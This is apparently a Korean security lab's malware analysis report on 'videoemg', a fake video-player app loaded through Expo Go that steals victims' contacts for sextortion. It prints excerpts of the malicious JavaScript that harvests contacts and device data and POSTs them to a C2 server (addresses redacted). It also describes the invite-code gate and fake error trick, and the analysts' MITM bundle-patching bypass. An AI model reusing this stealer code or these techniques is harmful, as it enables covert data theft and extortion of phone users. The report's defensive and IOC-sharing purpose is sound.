Video Player (videoemg) 상세 분석 보고서

videoemg — Quantum Nano 심층 분석 보고서

버전: v1.0

분석일: 2026-07-29

분석 수준: dynamic (MITM + 에뮬레이터 동적 분석)

위협 등급: CRITICAL

1. 앱 기본 정보

항목 · 값

표시명 · Video Player

부제 · HD 스트리밍 서비스

배포 URL · [비공개]

프레임워크 · Expo Go SDK 54.0.0 (exp:// 딥링크 악용)

선언 패키지 · [비공개]

번들 형식 · Raw JavaScript (HBC 아님)

번들 크기 · 4,771,568 bytes (110,757 lines)

번들 SHA256 · `2dfeaff53039d2d95dd75f2c18edb9506ec3bfc4f881bca9f3aef53aa04031f6`

패밀리 · expowave (초대코드 게이트 변종 — 최초 확인)

배포 메커니즘

기존 expowave 패밀리와 동일하게 Expo Go 앱을 로더로 악용한다. 피해자가 배포 사이트([비공개])에 접속하면 exp://[비공개] 딥링크로 Expo Go가 실행되고, C2의 Metro bundler에서 악성 JS 번들을 실시간 로드한다. 독립 APK가 존재하지 않으므로 기존 정적 분석이 불가능하다.

2. C2 인프라 분석

이중 서버 아키텍처

서버 · 주소 · 포트 · 역할

Metro Bundler · [비공개] · 8082 · JS 번들 + 매니페스트 서빙

API Backend · [비공개] · 3001 · Node.js — 데이터 수집, 코드 검증, 영상 목록

배포 사이트 · [비공개] · 443 · SSL, 썸네일 이미지 호스팅

C2 서버 특성

· Metro 매니페스트: expo-protocol-version: 0 (클래식 Metro 프로토콜)

· Packager status: /status → packager-status:running (플레인텍스트)

· 프로젝트 루트: /var/www/[비공개] (Linux 서버 확인)

· 번들 전달: transform.bytecode=1 파라미터가 있으나 실제로는 Raw JS 반환 (HBC 미사용)

· 인증: `[비공개] 엔드포인트 존재하나 Basic Auth 보호 (25+ 자격증명 조합 실패)

3. 악성 코드 흐름 — 4단계 상태 머신

번들 line 106825~107258에 걸쳐 App 컴포넌트가 4개 상태를 순환한다:

상태 1: `input` (입력)

피해자에게 전화번호와 초대코드를 요구한다.

```javascript

// line 106875

var phoneRegex = /^010\d{8}$/;

if (!phoneRegex.test(inputPhone)) {

Alert.alert('유효성 검사', '유효한 전화번호를 입력해주십시오.');

return;

}

if (!code.trim()) {

Alert.alert('오류', '코드를 입력해주세요');

return;

}

```

· 전화번호: 010으로 시작하는 한국 휴대폰 번호만 허용

· 인증코드: autoCapitalize: "characters" — 대문자 강제 입력

상태 2: `verifying` (검증)

서버 측 초대코드 검증 — expowave 패밀리 최초 확인된 방어 메커니즘.

```javascript

// line 106888-106902

var verifyRes = yield fetch(SERVER + '[비공개], {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({ code: code.trim() })

});

var verifyData = yield verifyRes.json();

if (!verifyData.valid) {

Alert.alert('오류', verifyData.message || '코드가 올바르지 않습니다');

setState('input');

return;

}

```

· Rate limiting 없음 (3,718+ 코드 브루트포스 시도 전부 허용)

· 응답 형식: {"valid": false, "message": "코드가 올바르지 않습니다"}

상태 3: `requesting` (권한 요청 + 데이터 탈취)

핵심 악성 동작. 연락처 권한을 요청하고 결과에 관계없이 서버로 전송한다.

```javascript

// line 106912-106964

var result = yield Contacts.requestPermissionsAsync();

var status = result.status;

var data = [];

if (status === 'granted') {

var contactResult = yield Contacts.getContactsAsync({

fields: [Contacts.Fields.PhoneNumbers, Contacts.Fields.Emails]

});

data = contactResult.data;

if (data.length === 0) {

data = [{ name: '연락처가 없습니다', phoneNumbers: [{ number: '00000000000' }] }];

}

} else {

data = [{ name: '권한이 허용되지 않았습니다', phoneNumbers: [{ number: '00000000000' }] }];

}

yield fetch(SERVER + '[비공개], {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({

device_id: deviceId,

code: code.trim(),

device_name: deviceName,

device_model: Device.modelName || 'Unknown',

os_version: (Device.osName || '') + ' ' + (Device.osVersion || ''),

brand: Device.brand || 'Unknown',

contacts: data.map(function (c) {

return {

id: c.id || '',

name: c.name || '',

phone_numbers: c.phoneNumbers ? c.phoneNumbers.map(p => p.number || '') : [],

emails: c.emails ? c.emails.map(e => e.email || '') : []

};

}),

total_contacts: data.length

})

});

// 전화번호 별도 업데이트

yield fetch(SERVER + '[비공개], {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify({ device_id: deviceId, phone: inputPhone.trim(), code: code.trim() })

});

```

핵심 발견: 권한 거부 시에도 더미 데이터("권한이 허용되지 않았습니다")를 C2로 전송한다. 이를 통해 운영자는 피해자의 기기 정보와 전화번호를 확보하며, 권한 거부 사실도 인지한다. 또한 연락처 10건 미만이면 device_name을 "권한을 허용했지만 연락처를 0개 선택했습니다"로 설정하여 Android 14의 부분 연락처 공유(사용자 선택) 시나리오를 감지한다.

상태 4: `list` (가짜 영상 목록)

연락처 전송 완료 후 가짜 영상 목록을 표시한다.

```javascript

// line 106990-106993

var handlePress = function () {

Alert.alert('❌ 서버 오류',

'에러코드: 504-GW-TIMEOUT\n\n서버가 응답하지 않습니다.\n잠시 후 다시 시도해주십시오.',

[{ text: '확인' }]);

};

```

· GET `[비공개] → 9개 가짜 영상 목록 반환

· 썸네일은 선정적 이미지 ([비공개] 호스팅)

· 모든 영상 탭 → 하드코딩된 "504-GW-TIMEOUT" 서버 오류 표시

· 재생 가능한 실제 영상은 존재하지 않음 — 순수 기만

4. 데이터 탈취 분석

수집 대상

데이터 · 수집 방법 · API 엔드포인트

연락처 (이름/전화번호/이메일) · expo-contacts · POST [비공개]

[피해자 정보 비공개] · 사용자 입력 · POST [비공개]

기기 식별자 · Date.now() + Math.random() · upload-contacts body

기기 모델/OS/브랜드 · expo-device · upload-contacts body

초대코드 · 사용자 입력 · upload-contacts + update-phone body

전송 데이터 구조

```json

{

"device_id": "1722280000000_abc123def",

"code": "XXXXX",

"device_name": "기기명 또는 상태 메시지",

"device_model": "sdk_gphone64_x86_64",

"os_version": "Android 15",

"brand": "google",

"contacts": [

{

"id": "1",

"name": "홍길동",

"phone_numbers": ["010-**-**"],

"emails": ["hong@[비공개]"]

}

],

"total_contacts": 150

}

```

device_name 조건부 로직 ([피해자 정보 비공개] 추적)

조건 · device_name 값 · 운영자 해석

권한 거부 · `"권한이 허용되지 않았습니다"` · 재시도 대상

허용, 연락처 <10건 · `"권한을 허용했지만 연락처를 0개 선택했습니다"` · 부분 공유 감지

허용, ≥10건 · `Device.deviceName` (실제 기기명) · 정상 탈취 완료

연락처 0건 · dummy `"연락처가 없습니다"` 전송 · 빈 기기 또는 새 기기

5. 권한 요청 분석

선언된 권한 (10개 — expowave 패밀리 최대 규모)

권한 · 용도 · 위험도

READ_CONTACTS · 연락처 탈취 (핵심 목적) · CRITICAL

WRITE_CONTACTS · 연락처 조작 가능 · HIGH

READ_EXTERNAL_STORAGE · 갤러리 접근 (레거시) · HIGH

WRITE_EXTERNAL_STORAGE · 파일 조작 (레거시) · HIGH

READ_MEDIA_VISUAL_USER_SELECTED · Android 14 부분 사진 접근 · HIGH

READ_MEDIA_IMAGES · 사진 탈취 · HIGH

READ_MEDIA_VIDEO · 동영상 탈취 · HIGH

READ_MEDIA_AUDIO · 음성 파일 탈취 · MEDIUM

ACCESS_COARSE_LOCATION · 대략 위치 추적 · HIGH

ACCESS_FINE_LOCATION · 정밀 위치 추적 · CRITICAL

현재 번들에서는 연락처 탈취만 구현되어 있으나 미디어 라이브러리(expo-media-library)와 위치(expo-location) 플러그인이 매니페스트에 선언되어 있어, C2 측에서 번들을 업데이트하면 추가 탈취가 즉시 가능하다.

6. 방어 메커니즘 분석

6.1 초대코드 게이트 (신규 — expowave 패밀리 최초)

> [비공개]

· 서버 API: POST [비공개] → {valid: bool, message: string}`

· 코드 관리: GET `[비공개] (Basic Auth 보호 — 관리자 전용)

· Rate limiting: 없음 (브루트포스 3,718회 시도 허용)

· 코드 발급 방식: 개별 피해자에게 1:1 발급 추정 (패턴 없는 랜덤)

6.2 Expo Go 로더 악용

독립 APK가 없으므로 정적 분석(jadx, apktool)이 불가능하다. 번들은 실시간으로 C2에서 다운로드되며 운영자가 언제든 코드를 변경할 수 있다.

6.3 기존 독립 APK (factory_daol_new) 비교

항목 · videoemg (Expo Go) · factory_daol_new (독립 APK)

SDK · 54.0.0 · 56

번들 형식 · Raw JS (4.77MB) · HBC (1.31MB, magic `c61f bc03`)

패키지 · [비공개] · com.candy.videochat

초대코드 · 있음 (서버 검증) · 없음

데이터 탈취 · 연락처+전화번호+기기 · 연락처만

추가 플러그인 · expo-media-library, expo-location · 없음

7. 바이패스 방법론

7.1 MITM Metro 서버 구축

실제 C2의 Metro 매니페스트를 정확히 복제하면서 번들만 패치 버전으로 교체하는 MITM 서버를 구축했다.

핵심 발견: Expo Go는 expo-protocol-version 헤더 값에 따라 매니페스트 파싱 방식이 완전히 달라진다.

· 0 = 클래식 Metro 프로토콜 (실제 C2가 사용)

· 1 = expo-updates 프로토콜 (서명된 매니페스트 필요)

초기 실패 원인은 프로토콜 버전 1을 반환한 것이었다. /status 엔드포인트도 JSON이 아닌 packager-status:running 플레인텍스트를 반환해야 한다.

7.2 에뮬레이터 네트워킹 문제 해결

LDPlayer 에뮬레이터에서 [비공개] (표준 Android 에뮬레이터 호스트 루프백)가 작동하지 않아 adb reverse tcp:8082 tcp:8082로 우회했다. 이로써 에뮬레이터 내부의 [비공개]가 호스트의 [비공개]로 포워딩된다.

7.3 번들 패치

코드 검증 fetch 호출을 제거하고 기본값 'BYPASS'를 설정하여 서버 검증 없이 다음 상태로 진행하도록 패치했다.

패치 위치: line ~106880-106907

패치 SHA256: c1d32bff8b3a54c66e6975dae917b1b696aeef76654b6306e0e1ad56cd88b197

7.4 실증 결과

단계 · 결과 · 증거

MITM 서버 접속 · ✅ · expo_local_test2.png — dev 메뉴에 "[비공개]" 확인

악성앱 UI 렌더링 · ✅ · expo_local_test4.png — 전화번호/인증코드 입력 화면

초대코드 바이패스 · ✅ · expo_local_test6_bypass.png — 연락처 권한 요청 다이얼로그

가짜 영상 목록 · ✅ · expo_local_test7_deny.png — "영상 목록" 화면

선정적 썸네일 + 가짜 오류 · ✅ · expo_local_test8_video.png — "504-GW-TIMEOUT"

8. 기만 전략 분석

8.1 사회공학 흐름

1. 유인: "Video Player / HD 스트리밍 서비스" — 합법 영상 앱으로 위장

2. 접근 제한: 초대코드 요구 → 피해자가 공격자에게 의존하게 만듦

3. 권한 탈취: "영상을 보려면 권한이 필요합니다" 암시

4. 시간 벌기: 가짜 영상 목록 + "서버 오류" → 피해자가 재시도하는 동안 연락처 탈취 완료

5. 협박: 탈취한 연락처 + 전화번호로 몸캠피싱 협박 (본 앱 외부에서 진행)

8.2 가짜 504 오류의 의도

하드코딩된 504-GW-TIMEOUT 오류는 실제 서버 장애가 아니다. 피해자가 "나중에 다시 시도"하게 만들어 앱을 삭제하지 않도록 유도하며, 운영자가 추가 악성 행위(미디어 탈취 등)를 준비할 시간을 확보한다.

8.3 C2 가짜 영상 데이터

GET `[비공개] 응답 (9개 엔트리):

ID · 썸네일 · 닉네임

1 · /uploads/1783220304624_sjx7io.png · 영상1

2 · /uploads/1783220321491_vo015p.png · 영상2

3 · /uploads/1783220350444_10vwu2.png · 영상3

4 · /uploads/1783223949554_ql1ba7.png · 영상4

5 · /uploads/1783224005538_tnhgy3.png · 영상5

6 · /uploads/1783224011900_0tufqi.png · 영상6

7 · /uploads/1783224018397_laowfv.png · 영상7

8 · /uploads/1783224153983_dostrr.png · 영상8

12 · /uploads/1783224445632_k5m1fk.png · (커스텀)

· 썸네일 타임스탬프(ms): 1783220304624 ~ 1783224445632 → 2026-07-03 (C2 설정일)

· 썸네일 크기: ~1.7MB (선정적 고화질 이미지)

· ID 9~11 결여: 운영자가 일부 삭제한 것으로 추정

9. IOC (Indicators of Compromise)

도메인

· [비공개]

· [비공개]

IP 주소

· [비공개] (포트 3001, 8082)

URL

· `[비공개] (배포 페이지)

· `[비공개] (코드 검증)

· `[비공개] (연락처 탈취)

· `[비공개] (전화번호 등록)

· `[비공개] (가짜 영상 목록)

· `[비공개] (악성 번들)

· exp://[비공개] (Expo Go 딥링크)

파일 해시

· 원본 번들 SHA256: 2dfeaff53039d2d95dd75f2c18edb9506ec3bfc4f881bca9f3aef53aa04031f6

사용자 에이전트

· okhttp/4.12.0 (Expo Go 내장)

10. 적용 기법

코드 · 기법 · 적용

OA-094 · Expo Go 딥링크 악용 · exp:// URL로 악성 번들 로드

SA-080 · JS 번들 정적 분석 · 4.77MB Raw JS 전체 분석

NW-121 · 번들 MITM/패칭 · Metro MITM 서버 + 패치 번들 서빙

SW-023 · ADB reverse 포트 포워딩 · 에뮬레이터↔호스트 네트워크 우회

**신규** · 초대코드 게이트 클라이언트 패치 · 서버 검증 호출 제거로 우회

**신규** · Metro 프로토콜 버전 0 위장 · expo-protocol-version: 0 + packager-status

11. 결론 및 위험 평가

videoemg는 expowave 악성앱 패밀리의 진화형으로, 서버 측 초대코드 게이트를 최초로 도입하여 분석가와 보안 연구자의 접근을 차단하는 새로운 방어 메커니즘을 보여준다.

위험 요소

1. 연락처 전면 탈취: 이름, 전화번호, 이메일 전량 수집

2. 권한 거부 감지: 거부해도 기기 정보와 전화번호가 유출됨

3. 확장 가능 아키텍처: expo-media-library + expo-location 플러그인 선언 — 번들 업데이트만으로 사진/위치 탈취 즉시 가능

4. 실시간 코드 변경: 번들이 C2에서 실시간 서빙되므로 운영자가 탐지 회피를 위해 코드를 수시로 변경 가능

5. 사회공학 정교화: 초대코드 메커니즘 + 가짜 서버 오류 + 선정적 썸네일의 조합

위협 등급: **CRITICAL**

12. 🔬 기법 점검

```

🔬 기법 점검:

· 시도한 기법: OA-094, SA-080, NW-121, SW-023

· 확장된 기법: NW-121 (Metro 프로토콜 버전 위장 추가)

· 신규 기법: 초대코드 게이트 클라이언트 패치, Metro proto-v0 위장

· 한계 발견: 브루트포스 3,718회에도 유효 코드 미발견 (피해자 1:1 발급 추정)

```

```

혁신 점검:

· 새 아이디어/시도: 서버측 코드 검증을 클라이언트 패치로 우회

· 결과: 성공 — 전체 악성 흐름 실증 (입력→바이패스→권한요청→가짜영상)

· 기법 카탈로그 반영: NW-121 확장 + 2개 신규 등재 필요

· 다음 앱에서 시도할 아이디어: Expo Go 번들 캐시 조작으로 오프라인 패치 적용

```

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr